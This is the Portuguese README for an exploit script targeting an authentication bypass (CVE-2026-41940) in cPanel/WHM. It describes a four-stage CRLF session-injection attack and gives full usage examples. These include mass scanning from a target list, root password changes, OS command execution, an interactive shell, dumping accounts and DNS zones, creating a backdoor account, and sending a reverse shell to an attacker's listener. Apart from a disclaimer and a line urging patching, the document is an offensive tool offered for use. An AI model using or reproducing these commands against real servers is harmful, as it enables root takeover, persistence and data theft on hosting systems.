
Bypass de Autenticação cPanel/WHM (Vulnerabilidade de Dia Zero)
Aviso Legal: Este documento e o script associado (
exploit.py) são fornecidos estritamente para fins educacionais, pesquisa de segurança e testes de penetração autorizados. Não use este software contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
exploit.py é um script que demonstra uma vulnerabilidade de bypass de autenticação (CVE-2026-41940) no cPanel e WHM. A vulnerabilidade permite que um atacante não autenticado injete uma sessão root no cache do daemon por meio de uma falha de injeção CRLF, concedendo, em última análise, acesso WHM de nível root sem exigir credenciais válidas.
O exploit funciona aproveitando uma vulnerabilidade de injeção CRLF (Carriage Return Line Feed) no mecanismo de tratamento de Autenticação Básica, combinada com uma falha de propagação de sessão. O script automatiza o ataque em quatro estágios:
/login/ ou /cgi/login.cgi) para obter um cookie de sessão não autenticada de base (whostmgrsession).cpsrvd. A resposta de redirecionamento do servidor vaza o token de segurança gerado (cpsess).do_token_denied para propagar a sessão forjada no cache do daemon — tornando-a uma sessão autenticada válida./json-api/version) usando a sessão forjada para confirmar o acesso de nível root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argumento | Descrição |
|---|---|
--target URL | URL WHM única (ex.: https://target:2087) |
--target-file FILE | Arquivo com alvos (um ip:porta por linha) — ativa automaticamente o modo de verificação |
| Argumento | Descrição |
|---|---|
--threads N | Threads concorrentes para o modo multi-alvo (padrão: 10) |
--hostname HOST | Substituir o cabeçalho Host — use quando a descoberta automática falhar ou fornecer um hostname incorreto |
--timeout N | Tempo limite por requisição em segundos (padrão: 15) |
--retries N | Número de tentativas em erros de rede (padrão: 3) |
--cookie-name NAME | Forçar um nome específico para o cookie de sessão (auto-detectado se omitido) |
--no-verify | Pular a verificação do Estágio 4 e continuar mesmo assim |
| Argumento | Descrição |
|---|---|
--check | Modo somente verificação — verifica a vulnerabilidade sem explorar (definido automaticamente com --target-file) |
--password PASS | Alterar a senha root para PASS |
--api FUNC | Chamar uma função específica da API JSON do WHM |
--api-params K=V,... | Parâmetros separados por vírgula para --api |
--exec CMD | Executar um comando do SO via WHM scripts/run_script (fallback: rawexec) |
--session | Gerar uma URL de login root em um clique — abra imediatamente, o token expira rápido |
--shell | Abrir um shell WHM interativo (somente alvo único) |
--dump | Extrair informações do servidor: versão, contas, zonas DNS, privilégios |
--add-user USER PASS DOMAIN | Criar uma nova conta de hospedagem cPanel |
--revshell LHOST LPORT | Enviar um reverse shell bash para seu listener |
| Argumento | Descrição |
|---|---|
--output FILE | Salvar o token de sessão e detalhes em um arquivo JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Ao usar --shell, os seguintes comandos estão disponíveis:
| Comando | Descrição |
|---|---|
api <function> [k=v ...] | Chamar uma função da API JSON do WHM (ex.: api version) |
exec <command> | Executar um comando do SO via WHM (ex.: exec id) |
passwd <newpass> | Alterar a senha root |
dump | Extrair informações do servidor |
revshell <lhost> <lport> | Enviar um reverse shell |
add <user> <pass> <domain> | Criar uma conta cPanel |
save <path> | Salvar a sessão atual em um arquivo |
exit / quit | Sair do shell |
Atualize imediatamente os patches de segurança mais recentes do cPanel/WHM.